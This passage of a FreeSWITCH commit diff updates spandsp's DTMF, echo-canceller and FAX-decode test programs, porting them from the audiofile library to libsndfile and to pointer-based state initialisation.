     printf("Try different levels and timing\n");
-    dtmf_tx_set_level(&gen, -20, 5);
-    dtmf_tx_set_timing(&gen, 100, 200);
-    if (dtmf_tx_put(&gen, "123", -1))
+    dtmf_tx_set_level(gen, -20, 5);
+    dtmf_tx_set_timing(gen, 100, 200);
+    if (dtmf_tx_put(gen, "123", -1))
+    {
         printf("Ooops\n");
+        exit(2);
+    }
     do
     {
-        len = dtmf_tx(&gen, amp, 160);
+        len = dtmf_tx(gen, amp, 160);
         printf("Generated %d samples\n", len);
         if (len > 0)
-            outframes = afWriteFrames(outhandle, AF_DEFAULT_TRACK, amp, len);
+            outframes = sf_writef_short(outhandle, amp, len);
     }
     while (len > 0);
     printf("Restore normal levels and timing\n");
-    dtmf_tx_set_level(&gen, -10, 0);
-    dtmf_tx_set_timing(&gen, 50, 55);
-    if (dtmf_tx_put(&gen, "A", -1))
+    dtmf_tx_set_level(gen, -10, 0);
+    dtmf_tx_set_timing(gen, 50, 55);
+    if (dtmf_tx_put(gen, "A", -1))
+    {
         printf("Ooops\n");
+        exit(2);
+    }
 
     add_digits = TRUE;
     do
     {
-        len = dtmf_tx(&gen, amp, 160);
+        len = dtmf_tx(gen, amp, 160);
         printf("Generated %d samples\n", len);
         if (len > 0)
         {
-            outframes = afWriteFrames(outhandle, AF_DEFAULT_TRACK, amp, len);
+            outframes = sf_writef_short(outhandle, amp, len);
         }
         if (add_digits)
         {
-            if (dtmf_tx_put(&gen, "1234567890", -1))
+            if (dtmf_tx_put(gen, "1234567890", -1))
             {
                 printf("Digit buffer full\n");
                 add_digits = FALSE;
@@ -180,10 +217,10 @@
     }
     while (len > 0);
 
-    if (afCloseFile(outhandle) != 0)
+    if (sf_close(outhandle) != 0)
     {
-        fprintf(stderr, "    Cannot close wave file '%s'\n", OUTPUT_FILE_NAME);
-        exit (2);
+        fprintf(stderr, "    Cannot close audio file '%s'\n", OUTPUT_FILE_NAME);
+        exit(2);
     }
 
     return  0;

Modified: freeswitch/branches/seven/libs/spandsp/tests/echo_tests.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/echo_tests.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/tests/echo_tests.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -25,7 +25,7 @@
  * along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: echo_tests.c,v 1.36 2008/09/04 14:40:05 steveu Exp $
+ * $Id: echo_tests.c,v 1.39 2009/05/30 15:23:13 steveu Exp $
  */
 
 /*! \page echo_can_tests_page Line echo cancellation for voice tests
@@ -54,11 +54,15 @@
 #include <string.h>
 #include <strings.h>
 #include <assert.h>
-#include <audiofile.h>
+#include <sndfile.h>
 
 #define GEN_CONST
 #include <math.h>
 
+//#if defined(WITH_SPANDSP_INTERNALS)
+#define SPANDSP_EXPOSE_INTERNAL_STRUCTURES
+//#endif
+
 #include "spandsp.h"
 #include "spandsp/g168models.h"
 #include "spandsp-sim.h"
@@ -103,7 +107,7 @@
     int max;
     int cur;
     float gain;
-    AFfilehandle handle;
+    SNDFILE *handle;
     int16_t signal[SAMPLE_RATE];
 } signal_source_t;
 
@@ -135,7 +139,7 @@
 awgn_state_t local_noise_source;
 awgn_state_t far_noise_source;
 
-AFfilehandle residue_handle;
+SNDFILE *residue_handle;
 int16_t residue_sound[SAMPLE_RATE];
 int residue_cur = 0;
 
@@ -153,7 +157,7 @@
 level_measurement_device_t *sgen_power_meter;
 
 #define RESULT_CHANNELS 7
-AFfilehandle result_handle;
+SNDFILE *result_handle;
 int16_t result_sound[SAMPLE_RATE*RESULT_CHANNELS];
 int result_cur;
 
@@ -184,10 +188,7 @@
     residue_sound[residue_cur++] = amp;
     if (residue_cur >= SAMPLE_RATE)
     {
-        outframes = afWriteFrames(residue_handle,
-                                  AF_DEFAULT_TRACK,
-                                  residue_sound,
-                                  residue_cur);
+        outframes = sf_writef_short(residue_handle, residue_sound, residue_cur);
         if (outframes != residue_cur)
         {
             fprintf(stderr, "    Error writing residue sound\n");
@@ -200,9 +201,9 @@
 
 static void signal_load(signal_source_t *sig, const char *name)
 {
-    sig->handle = afOpenFile_telephony_read(name, 1);
+    sig->handle = sf_open_telephony_read(name, 1);
     sig->name = name;
-    sig->max = afReadFrames(sig->handle, AF_DEFAULT_TRACK, sig->signal, SAMPLE_RATE);
+    sig->max = sf_readf_short(sig->handle, sig->signal, SAMPLE_RATE);
     if (sig->max < 0)
     {
         fprintf(stderr, "    Error reading sound file '%s'\n", sig->name);
@@ -213,7 +214,7 @@
 
 static void signal_free(signal_source_t *sig)
 {
-    if (afCloseFile(sig->handle) != 0)
+    if (sf_close(sig->handle) != 0)
     {
         fprintf(stderr, "    Cannot close sound file '%s'\n", sig->name);
         exit(2);
@@ -593,10 +594,7 @@
         result_sound[result_cur++] = 0; // TODO: insert the EC's internal status here
         if (result_cur >= RESULT_CHANNELS*SAMPLE_RATE)
         {
-            outframes = afWriteFrames(result_handle,
-                                      AF_DEFAULT_TRACK,
-                                      result_sound,
-                                      result_cur/RESULT_CHANNELS);
+            outframes = sf_writef_short(result_handle, result_sound, result_cur/RESULT_CHANNELS);
             if (outframes != result_cur/RESULT_CHANNELS)
             {
                 fprintf(stderr, "    Error writing result sound\n");
@@ -611,10 +609,7 @@
 #endif
     if (result_cur >= 0)
     {
-        outframes = afWriteFrames(result_handle,
-                                  AF_DEFAULT_TRACK,
-                                  result_sound,
-                                  result_cur/RESULT_CHANNELS);
+        outframes = sf_writef_short(result_handle, result_sound, result_cur/RESULT_CHANNELS);
         if (outframes != result_cur/RESULT_CHANNELS)
         {
             fprintf(stderr, "    Error writing result sound\n");
@@ -650,7 +645,7 @@
     //int coeff_index;
 
     print_test_title("Performing basic sanity test\n");
-    ctx = echo_can_create(TEST_EC_TAPS, 0);
+    ctx = echo_can_init(TEST_EC_TAPS, 0);
 
     local_cur = 0;
     far_cur = 0;
@@ -674,7 +669,7 @@
             /* Inject a burst of far sound */
             if (far_cur >= far_max)
             {
-                far_max = afReadFrames(farhandle, AF_DEFAULT_TRACK, far_sound, SAMPLE_RATE);
+                far_max = sf_readf_short(farhandle, far_sound, SAMPLE_RATE);
                 if (far_max < 0)
                 {
                     fprintf(stderr, "    Error reading far sound\n");
@@ -730,10 +725,7 @@
         put_residue(clean - far_tx);
         if (result_cur >= RESULT_CHANNELS*SAMPLE_RATE)
         {
-            outframes = afWriteFrames(result_handle,
-                                      AF_DEFAULT_TRACK,
-                                      result_sound,
-                                      result_cur/RESULT_CHANNELS);
+            outframes = sf_writef_short(result_handle, result_sound, result_cur/RESULT_CHANNELS);
             if (outframes != result_cur/RESULT_CHANNELS)
             {
                 fprintf(stderr, "    Error writing result sound\n");
@@ -744,10 +736,7 @@
     }
     if (result_cur > 0)
     {
-        outframes = afWriteFrames(result_handle,
-                                  AF_DEFAULT_TRACK,
-                                  result_sound,
-                                  result_cur/RESULT_CHANNELS);
+        outframes = sf_writef_short(result_handle, result_sound, result_cur/RESULT_CHANNELS);
         if (outframes != result_cur/RESULT_CHANNELS)
         {
             fprintf(stderr, "    Error writing result sound\n");
@@ -775,7 +764,7 @@
     /* Test 2 - Convergence and steady state residual and returned echo level test */
     /* Test 2A - Convergence and reconvergence test with NLP enabled */
     print_test_title("Performing test 2A - Convergence and reconvergence test with NLP enabled\n");
-    ctx = echo_can_create(TEST_EC_TAPS, 0);
+    ctx = echo_can_init(TEST_EC_TAPS, 0);
 
     echo_can_flush(ctx);
     echo_can_adaption_mode(ctx, ECHO_CAN_USE_ADAPTION | ECHO_CAN_USE_NLP);
@@ -824,7 +813,7 @@
     /* Test 2 - Convergence and steady state residual and returned echo level test */
     /* Test 2B - Convergence and reconverge with NLP disabled */
     print_test_title("Performing test 2B - Convergence and reconverge with NLP disabled\n");
-    ctx = echo_can_create(TEST_EC_TAPS, 0);
+    ctx = echo_can_init(TEST_EC_TAPS, 0);
 
     echo_can_flush(ctx);
     echo_can_adaption_mode(ctx, ECHO_CAN_USE_ADAPTION);
@@ -878,7 +867,7 @@
     /* Test 2 - Convergence and steady state residual and returned echo level test */
     /* Test 2C(a) - Convergence with background noise present */
     print_test_title("Performing test 2C(a) - Convergence with background noise present\n");
-    ctx = echo_can_create(TEST_EC_TAPS, 0);
+    ctx = echo_can_init(TEST_EC_TAPS, 0);
     awgn_init_dbm0(&far_noise_source, 7162534, -50.0f);
     
     echo_can_flush(ctx);
@@ -914,7 +903,7 @@
     /* Test 3 - Performance under double talk conditions */
     /* Test 3A - Double talk test with low cancelled-end levels */
     print_test_title("Performing test 3A - Double talk test with low cancelled-end levels\n");
-    ctx = echo_can_create(TEST_EC_TAPS, 0);
+    ctx = echo_can_init(TEST_EC_TAPS, 0);
 
     echo_can_flush(ctx);
     echo_can_adaption_mode(ctx, ECHO_CAN_USE_ADAPTION);
@@ -952,7 +941,7 @@
     /* Test 3 - Performance under double talk conditions */
     /* Test 3B(a) - Double talk stability test with high cancelled-end levels */
     print_test_title("Performing test 3B(b) - Double talk stability test with high cancelled-end levels\n");
-    ctx = echo_can_create(TEST_EC_TAPS, 0);
+    ctx = echo_can_init(TEST_EC_TAPS, 0);
 
     echo_can_flush(ctx);
     echo_can_adaption_mode(ctx, ECHO_CAN_USE_ADAPTION);
@@ -992,7 +981,7 @@
     /* Test 3 - Performance under double talk conditions */
     /* Test 3B(b) - Double talk stability test with low cancelled-end levels */
     print_test_title("Performing test 3B(b) - Double talk stability test with low cancelled-end levels\n");
-    ctx = echo_can_create(TEST_EC_TAPS, 0);
+    ctx = echo_can_init(TEST_EC_TAPS, 0);
 
     echo_can_flush(ctx);
     echo_can_adaption_mode(ctx, ECHO_CAN_USE_ADAPTION);
@@ -1032,7 +1021,7 @@
     /* Test 3 - Performance under double talk conditions */
     /* Test 3C - Double talk test with simulated conversation */
     print_test_title("Performing test 3C - Double talk test with simulated conversation\n");
-    ctx = echo_can_create(TEST_EC_TAPS, 0);
+    ctx = echo_can_init(TEST_EC_TAPS, 0);
 
     echo_can_flush(ctx);
     echo_can_adaption_mode(ctx, ECHO_CAN_USE_ADAPTION);
@@ -1070,7 +1059,7 @@
 
     /* Test 4 - Leak rate test */
     print_test_title("Performing test 4 - Leak rate test\n");
-    ctx = echo_can_create(TEST_EC_TAPS, 0);
+    ctx = echo_can_init(TEST_EC_TAPS, 0);
 
     echo_can_flush(ctx);
     echo_can_adaption_mode(ctx, ECHO_CAN_USE_ADAPTION);
@@ -1102,7 +1091,7 @@
     
     /* Test 5 - Infinite return loss convergence test */
     print_test_title("Performing test 5 - Infinite return loss convergence test\n");
-    ctx = echo_can_create(TEST_EC_TAPS, 0);
+    ctx = echo_can_init(TEST_EC_TAPS, 0);
 
     echo_can_flush(ctx);
     echo_can_adaption_mode(ctx, ECHO_CAN_USE_ADAPTION);
@@ -1137,7 +1126,7 @@
 
     /* Test 6 - Non-divergence on narrow-band signals */
     print_test_title("Performing test 6 - Non-divergence on narrow-band signals\n");
-    ctx = echo_can_create(TEST_EC_TAPS, 0);
+    ctx = echo_can_init(TEST_EC_TAPS, 0);
 
     echo_can_flush(ctx);
     echo_can_adaption_mode(ctx, ECHO_CAN_USE_ADAPTION);
@@ -1206,7 +1195,7 @@
 
     /* Test 7 - Stability */
     print_test_title("Performing test 7 - Stability\n");
-    ctx = echo_can_create(TEST_EC_TAPS, 0);
+    ctx = echo_can_init(TEST_EC_TAPS, 0);
 
     /* Put tones through an unconverged canceller, and check nothing unpleasant
        happens. */
@@ -1258,7 +1247,7 @@
 
     /* Test 8 - Non-convergence on No 5, 6, and 7 in-band signalling */
     print_test_title("Performing test 8 - Non-convergence on No 5, 6, and 7 in-band signalling\n");
-    ctx = echo_can_create(TEST_EC_TAPS, 0);
+    ctx = echo_can_init(TEST_EC_TAPS, 0);
 
     fprintf(stderr, "Test 8 not yet implemented\n");
 
@@ -1275,7 +1264,7 @@
 
     /* Test 9 - Comfort noise test */
     print_test_title("Performing test 9 - Comfort noise test\n");
-    ctx = echo_can_create(TEST_EC_TAPS, 0);
+    ctx = echo_can_init(TEST_EC_TAPS, 0);
     awgn_init_dbm0(&far_noise_source, 7162534, -50.0f);
 
     echo_can_flush(ctx);
@@ -1313,7 +1302,7 @@
     /* Test 10 - FAX test during call establishment phase */
     /* Test 10A - Canceller operation on the calling station side */
     print_test_title("Performing test 10A - Canceller operation on the calling station side\n");
-    ctx = echo_can_create(TEST_EC_TAPS, 0);
+    ctx = echo_can_init(TEST_EC_TAPS, 0);
 
     fprintf(stderr, "Test 10A not yet implemented\n");
 
@@ -1329,7 +1318,7 @@
     /* Test 10 - FAX test during call establishment phase */
     /* Test 10B - Canceller operation on the called station side */
     print_test_title("Performing test 10B - Canceller operation on the called station side\n");
-    ctx = echo_can_create(TEST_EC_TAPS, 0);
+    ctx = echo_can_init(TEST_EC_TAPS, 0);
 
     fprintf(stderr, "Test 10B not yet implemented\n");
 
@@ -1347,7 +1336,7 @@
                   transmission and page breaks (for further study) */
     print_test_title("Performing test 10C - Canceller operation on the calling station side during page\n"
                      "transmission and page breaks (for further study)\n");
-    ctx = echo_can_create(TEST_EC_TAPS, 0);
+    ctx = echo_can_init(TEST_EC_TAPS, 0);
 
     fprintf(stderr, "Test 10C not yet implemented\n");
 
@@ -1362,7 +1351,7 @@
 
     /* Test 11 - Tandem echo canceller test (for further study) */
     print_test_title("Performing test 11 - Tandem echo canceller test (for further study)\n");
-    ctx = echo_can_create(TEST_EC_TAPS, 0);
+    ctx = echo_can_init(TEST_EC_TAPS, 0);
 
     fprintf(stderr, "Test 11 not yet implemented\n");
 
@@ -1377,7 +1366,7 @@
 
     /* Test 12 - Residual acoustic echo test (for further study) */
     print_test_title("Performing test 12 - Residual acoustic echo test (for further study)\n");
-    ctx = echo_can_create(TEST_EC_TAPS, 0);
+    ctx = echo_can_init(TEST_EC_TAPS, 0);
 
     fprintf(stderr, "Test 12 not yet implemented\n");
 
@@ -1393,7 +1382,7 @@
     /* Test 13 - Performance with ITU-T low-bit rate coders in echo path
                  (Optional, under study) */
     print_test_title("Performing test 13 - Performance with ITU-T low-bit rate coders in echo path (Optional, under study)\n");
-    ctx = echo_can_create(TEST_EC_TAPS, 0);
+    ctx = echo_can_init(TEST_EC_TAPS, 0);
 
     fprintf(stderr, "Test 13 not yet implemented\n");
 
@@ -1408,7 +1397,7 @@
 
     /* Test 14 - Performance with V-series low-speed data modems */
     print_test_title("Performing test 14 - Performance with V-series low-speed data modems\n");
-    ctx = echo_can_create(TEST_EC_TAPS, 0);
+    ctx = echo_can_init(TEST_EC_TAPS, 0);
 
     fprintf(stderr, "Test 14 not yet implemented\n");
 
@@ -1423,7 +1412,7 @@
 
     /* Test 15 - PCM offset test (Optional) */
     print_test_title("Performing test 15 - PCM offset test (Optional)\n");
-    ctx = echo_can_create(TEST_EC_TAPS, 0);
+    ctx = echo_can_init(TEST_EC_TAPS, 0);
 
     fprintf(stderr, "Test 15 not yet implemented\n");
 
@@ -1490,10 +1479,10 @@
 static void simulate_ec(char *argv[], int two_channel_file, int mode)
 {
     echo_can_state_t *ctx;
-    AFfilehandle txfile;
-    AFfilehandle rxfile;
-    AFfilehandle rxtxfile;
-    AFfilehandle ecfile;
+    SNDFILE *txfile;
+    SNDFILE *rxfile;
+    SNDFILE *rxtxfile;
+    SNDFILE *ecfile;
     int ntx;
     int nrx;
     int nec;
@@ -1511,24 +1500,24 @@
     ecfile = NULL;
     if (two_channel_file)
     {
-        txfile = afOpenFile_telephony_read(argv[0], 1);
-        rxfile = afOpenFile_telephony_read(argv[1], 1);      
-        ecfile = afOpenFile_telephony_write(argv[2], 1);
+        txfile = sf_open_telephony_read(argv[0], 1);
+        rxfile = sf_open_telephony_read(argv[1], 1);      
+        ecfile = sf_open_telephony_write(argv[2], 1);
     }
     else
     {
-        rxtxfile = afOpenFile_telephony_read(argv[0], 2);
-        ecfile = afOpenFile_telephony_write(argv[1], 1);
+        rxtxfile = sf_open_telephony_read(argv[0], 2);
+        ecfile = sf_open_telephony_write(argv[1], 1);
     }
 
-    ctx = echo_can_create(TEST_EC_TAPS, 0);
+    ctx = echo_can_init(TEST_EC_TAPS, 0);
     echo_can_adaption_mode(ctx, mode);
     samples = 0;
     do
     {
         if (two_channel_file)
         {
-            if ((ntx = afReadFrames(rxtxfile, AF_DEFAULT_TRACK, buf, 1)) < 0)
+            if ((ntx = sf_readf_short(rxtxfile, buf, 1)) < 0)
             {
                 fprintf(stderr, "    Error reading tx sound file\n");
                 exit(2);
@@ -1539,12 +1528,12 @@
         }
         else
         {
-            if ((ntx = afReadFrames(txfile, AF_DEFAULT_TRACK, &rin, 1)) < 0)
+            if ((ntx = sf_readf_short(txfile, &rin, 1)) < 0)
             {
                 fprintf(stderr, "    Error reading tx sound file\n");
                 exit(2);
             }
-            if ((nrx = afReadFrames(rxfile, AF_DEFAULT_TRACK, &sin, 1)) < 0)
+            if ((nrx = sf_readf_short(rxfile, &sin, 1)) < 0)
             {           
                 fprintf(stderr, "    Error reading rx sound file\n");
                 exit(2);
@@ -1553,7 +1542,7 @@
         rout = echo_can_hpf_tx(ctx, rin);
         sout = echo_can_update(ctx, rout, sin);
 
-        if ((nec = afWriteFrames(ecfile, AF_DEFAULT_TRACK, &sout, 1)) != 1)
+        if ((nec = sf_writef_short(ecfile, &sout, 1)) != 1)
         {
             fprintf(stderr, "    Error writing ec sound file\n");
             exit(2);
@@ -1572,14 +1561,14 @@
 
     if (two_channel_file)
     {
-        afCloseFile(rxtxfile);
+        sf_close(rxtxfile);
     }
     else
     {
-        afCloseFile(txfile);
-        afCloseFile(rxfile);
+        sf_close(txfile);
+        sf_close(rxfile);
     }
-    afCloseFile(ecfile);
+    sf_close(ecfile);
 }
 /*- End of function --------------------------------------------------------*/
 
@@ -1662,8 +1651,8 @@
 #endif
     if (simulate)
     {
-        /* Process a pair of transmitted and received wave files, and produce
-           an echo cancelled wave file. */
+        /* Process a pair of transmitted and received audio files, and produce
+           an echo cancelled audio file. */
         if (argc < ((two_channel_file)  ?  2  :  3))
         {
             printf("not enough arguments for a simulation\n");
@@ -1688,7 +1677,7 @@
         signal_load(&local_css, "sound_c1_8k.wav");
         signal_load(&far_css, "sound_c3_8k.wav");
 
-        if ((residue_handle = afOpenFile_telephony_write(RESIDUE_FILE_NAME, 1)) == AF_NULL_FILEHANDLE)
+        if ((residue_handle = sf_open_telephony_write(RESIDUE_FILE_NAME, 1)) == NULL)
         {
             fprintf(stderr, "    Failed to open '%s'\n", RESIDUE_FILE_NAME);
             exit(2);
@@ -1700,7 +1689,7 @@
         else
         {
             time(&now);
-            if ((result_handle = afOpenFile_telephony_write("echo_tests_result.wav", RESULT_CHANNELS)) == AF_NULL_FILEHANDLE)
+            if ((result_handle = sf_open_telephony_write("echo_tests_result.wav", RESULT_CHANNELS)) == NULL)
             {
                 fprintf(stderr, "    Failed to open result file\n");
                 exit(2);
@@ -1716,7 +1705,7 @@
                 }
                 match_test_name(argv[i]);
             }
-            if (afCloseFile(result_handle) != 0)
+            if (sf_close(result_handle) != 0)
             {
                 fprintf(stderr, "    Cannot close speech file '%s'\n", "result_sound.wav");
                 exit(2);
@@ -1725,7 +1714,7 @@
         }
         signal_free(&local_css);
         signal_free(&far_css);
-        if (afCloseFile(residue_handle) != 0)
+        if (sf_close(residue_handle) != 0)
         {
             fprintf(stderr, "    Cannot close speech file '%s'\n", RESIDUE_FILE_NAME);
             exit(2);

Modified: freeswitch/branches/seven/libs/spandsp/tests/fax_decode.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/fax_decode.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/tests/fax_decode.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: fax_decode.c,v 1.48 2008/09/07 12:45:17 steveu Exp $
+ * $Id: fax_decode.c,v 1.56 2009/05/30 15:23:13 steveu Exp $
  */
 
 /*! \page fax_decode_page FAX decoder
@@ -41,8 +41,12 @@
 #include <stdio.h>
 #include <string.h>
 #include <assert.h>
-#include <audiofile.h>
+#include <sndfile.h>
 
+//#if defined(WITH_SPANDSP_INTERNALS)
+#define SPANDSP_EXPOSE_INTERNAL_STRUCTURES
+//#endif
+
 #include "spandsp.h"
 
 #define SAMPLES_PER_CHUNK   160
@@ -217,32 +221,15 @@
     if (len < 0)
     {
         /* Special conditions */
-        switch (len)
-        {
-        case SIG_STATUS_CARRIER_UP:
-            fprintf(stderr, "HDLC carrier up\n");
-            break;
-        case SIG_STATUS_CARRIER_DOWN:
-            fprintf(stderr, "HDLC carrier down\n");
-            break;
-        case SIG_STATUS_FRAMING_OK:
-            fprintf(stderr, "HDLC framing OK\n");
-            break;
-        case SIG_STATUS_ABORT:
-            /* Just ignore these */
-            break;
-        default:
-            fprintf(stderr, "Unexpected HDLC special length - %d!\n", len);
-            break;
-        }
+        fprintf(stderr, "HDLC status is %s (%d)\n", signal_status_to_str(len), len);
         return;
     }
-    
+
     if (ok)
     {
         if (msg[0] != 0xFF  ||  !(msg[1] == 0x03  ||  msg[1] == 0x13))
         {
-            fprintf(stderr, "Bad frame header - %02x %02x", msg[0], msg[1]);
+            fprintf(stderr, "Bad frame header - %02x %02x\n", msg[0], msg[1]);
             return;
         }
         print_frame("HDLC: ", msg, len);
@@ -329,28 +316,12 @@
     if (bit < 0)
     {
         /* Special conditions */
+        fprintf(stderr, "V.21 rx status is %s (%d)\n", signal_status_to_str(bit), bit);
         switch (bit)
         {
-        case SIG_STATUS_TRAINING_FAILED:
-            fprintf(stderr, "V.21 Training failed\n");
-            break;
-        case SIG_STATUS_TRAINING_IN_PROGRESS:
-            fprintf(stderr, "V.21 Training in progress\n");
-            break;
-        case SIG_STATUS_TRAINING_SUCCEEDED:
-            fprintf(stderr, "V.21 Training succeeded\n");
-            t4_begin();
-            break;
-        case SIG_STATUS_CARRIER_UP:
-            fprintf(stderr, "V.21 Carrier up\n");
-            break;
         case SIG_STATUS_CARRIER_DOWN:
-            fprintf(stderr, "V.21 Carrier down\n");
             //t4_end();
             break;
-        default:
-            fprintf(stderr, "V.21 Eh!\n");
-            break;
         }
         return;
     }
@@ -365,31 +336,18 @@
     if (bit < 0)
     {
         /* Special conditions */
+        fprintf(stderr, "V.17 rx status is %s (%d)\n", signal_status_to_str(bit), bit);
         switch (bit)
         {
-        case SIG_STATUS_TRAINING_FAILED:
-            fprintf(stderr, "V.17 Training failed\n");
-            break;
-        case SIG_STATUS_TRAINING_IN_PROGRESS:
-            fprintf(stderr, "V.17 Training in progress\n");
-            break;
         case SIG_STATUS_TRAINING_SUCCEEDED:
-            fprintf(stderr, "V.17 Training succeeded\n");
             fast_trained = FAX_V17_RX;
             t4_begin();
             break;
-        case SIG_STATUS_CARRIER_UP:
-            fprintf(stderr, "V.17 Carrier up\n");
-            break;
         case SIG_STATUS_CARRIER_DOWN:
-            fprintf(stderr, "V.17 Carrier down\n");
             t4_end();
             if (fast_trained == FAX_V17_RX)
                 fast_trained = FAX_NONE;
             break;
-        default:
-            fprintf(stderr, "V.17 Eh!\n");
-            break;
         }
         return;
     }
@@ -414,31 +372,18 @@
     if (bit < 0)
     {
         /* Special conditions */
+        fprintf(stderr, "V.29 rx status is %s (%d)\n", signal_status_to_str(bit), bit);
         switch (bit)
         {
-        case SIG_STATUS_TRAINING_FAILED:
-            //fprintf(stderr, "V.29 Training failed\n");
-            break;
-        case SIG_STATUS_TRAINING_IN_PROGRESS:
-            fprintf(stderr, "V.29 Training in progress\n");
-            break;
         case SIG_STATUS_TRAINING_SUCCEEDED:
-            fprintf(stderr, "V.29 Training succeeded\n");
             fast_trained = FAX_V29_RX;
             t4_begin();
             break;
-        case SIG_STATUS_CARRIER_UP:
-            //fprintf(stderr, "V.29 Carrier up\n");
-            break;
         case SIG_STATUS_CARRIER_DOWN:
-            //fprintf(stderr, "V.29 Carrier down\n");
             t4_end();
             if (fast_trained == FAX_V29_RX)
                 fast_trained = FAX_NONE;
             break;
-        default:
-            fprintf(stderr, "V.29 Eh!\n");
-            break;
         }
         return;
     }
@@ -463,31 +408,18 @@
     if (bit < 0)
     {
         /* Special conditions */
+        fprintf(stderr, "V.27ter rx status is %s (%d)\n", signal_status_to_str(bit), bit);
         switch (bit)
         {
-        case SIG_STATUS_TRAINING_FAILED:
-            //fprintf(stderr, "V.27ter Training failed\n");
-            break;
-        case SIG_STATUS_TRAINING_IN_PROGRESS:
-            fprintf(stderr, "V.27ter Training in progress\n");
-            break;
         case SIG_STATUS_TRAINING_SUCCEEDED:
-            fprintf(stderr, "V.27ter Training succeeded\n");
             fast_trained = FAX_V27TER_RX;
             t4_begin();
             break;
-        case SIG_STATUS_CARRIER_UP:
-            //fprintf(stderr, "V.27ter Carrier up\n");
-            break;
         case SIG_STATUS_CARRIER_DOWN:
-            //fprintf(stderr, "V.27ter Carrier down\n");
             t4_end();
             if (fast_trained == FAX_V27TER_RX)
                 fast_trained = FAX_NONE;
             break;
-        default:
-            fprintf(stderr, "V.27ter Eh!\n");
-            break;
         }
         return;
     }
@@ -509,67 +441,70 @@
 
 int main(int argc, char *argv[])
 {
-    fsk_rx_state_t fsk;
-    v17_rx_state_t v17;
-    v29_rx_state_t v29;
-    v27ter_rx_state_t v27ter;
+    fsk_rx_state_t *fsk;
+    v17_rx_state_t *v17;
+    v29_rx_state_t *v29;
+    v27ter_rx_state_t *v27ter;
     int16_t amp[SAMPLES_PER_CHUNK];
-    AFfilehandle inhandle;
+    SNDFILE *inhandle;
+    SF_INFO info;
     int len;
     const char *filename;
-    float x;
+    logging_state_t *logging;
 
     filename = "fax_samp.wav";
 
     if (argc > 1)
         filename = argv[1];
 
-    if ((inhandle = afOpenFile(filename, "r", NULL)) == AF_NULL_FILEHANDLE)
+    memset(&info, 0, sizeof(info));
+    if ((inhandle = sf_open(filename, SFM_READ, &info)) == NULL)
     {
-        fprintf(stderr, "    Cannot open wave file '%s'\n", filename);
+        fprintf(stderr, "    Cannot open audio file '%s' for reading\n", filename);
         exit(2);
     }
-    if ((x = afGetFrameSize(inhandle, AF_DEFAULT_TRACK, 1)) != 2.0)
+    if (info.samplerate != SAMPLE_RATE)
     {
-        printf("    Unexpected frame size in speech file '%s' (%f)\n", filename, x);
+        printf("    Unexpected sample rate in audio file '%s'\n", filename);
         exit(2);
     }
-    if ((x = afGetRate(inhandle, AF_DEFAULT_TRACK)) != (float) SAMPLE_RATE)
+    if (info.channels != 1)
     {
-        printf("    Unexpected sample rate in speech file '%s' (%f)\n", filename, x);
+        printf("    Unexpected number of channels in audio file '%s'\n", filename);
         exit(2);
     }
-    if ((x = afGetChannels(inhandle, AF_DEFAULT_TRACK)) != 1.0)
-    {
-        printf("    Unexpected number of channels in speech file '%s' (%f)\n", filename, x);
-        exit(2);
-    }
+
     memset(&t30_dummy, 0, sizeof(t30_dummy));
     span_log_init(&t30_dummy.logging, SPAN_LOG_FLOW, NULL);
     span_log_set_protocol(&t30_dummy.logging, "T.30");
 
     hdlc_rx_init(&hdlcrx, FALSE, TRUE, 5, hdlc_accept, NULL);
-    fsk_rx_init(&fsk, &preset_fsk_specs[FSK_V21CH2], TRUE, v21_put_bit, NULL);
-    v17_rx_init(&v17, 14400, v17_put_bit, NULL);
-    v29_rx_init(&v29, 9600, v29_put_bit, NULL);
-    //v29_rx_init(&v29, 7200, v29_put_bit, NULL);
-    v27ter_rx_init(&v27ter, 4800, v27ter_put_bit, NULL);
-    fsk_rx_signal_cutoff(&fsk, -45.5);
-    v17_rx_signal_cutoff(&v17, -45.5);
-    v29_rx_signal_cutoff(&v29, -45.5);
-    v27ter_rx_signal_cutoff(&v27ter, -40.0);
+    fsk = fsk_rx_init(NULL, &preset_fsk_specs[FSK_V21CH2], TRUE, v21_put_bit, NULL);
+    v17 = v17_rx_init(NULL, 14400, v17_put_bit, NULL);
+    v29 = v29_rx_init(NULL, 9600, v29_put_bit, NULL);
+    //v29 = v29_rx_init(NULL, 7200, v29_put_bit, NULL);
+    v27ter = v27ter_rx_init(NULL, 4800, v27ter_put_bit, NULL);
+    fsk_rx_signal_cutoff(fsk, -45.5);
+    v17_rx_signal_cutoff(v17, -45.5);
+    v29_rx_signal_cutoff(v29, -45.5);
+    v27ter_rx_signal_cutoff(v27ter, -40.0);
 
-    span_log_init(&v17.logging, SPAN_LOG_FLOW, NULL);
-    span_log_set_protocol(&v17.logging, "V.17");
-    span_log_set_level(&v17.logging, SPAN_LOG_SHOW_SEVERITY | SPAN_LOG_SHOW_PROTOCOL | SPAN_LOG_SHOW_TAG | SPAN_LOG_FLOW);
+#if 1
+    logging = v17_rx_get_logging_state(v17);
+    span_log_init(logging, SPAN_LOG_FLOW, NULL);
+    span_log_set_protocol(logging, "V.17");
+    span_log_set_level(logging, SPAN_LOG_SHOW_SEVERITY | SPAN_LOG_SHOW_PROTOCOL | SPAN_LOG_SHOW_TAG | SPAN_LOG_FLOW);
 
-    span_log_init(&v29.logging, SPAN_LOG_FLOW, NULL);
-    span_log_set_protocol(&v29.logging, "V.29");
-    span_log_set_level(&v29.logging, SPAN_LOG_SHOW_SEVERITY | SPAN_LOG_SHOW_PROTOCOL | SPAN_LOG_SHOW_TAG | SPAN_LOG_FLOW);
+    logging = v29_rx_get_logging_state(v29);
+    span_log_init(logging, SPAN_LOG_FLOW, NULL);
+    span_log_set_protocol(logging, "V.29");
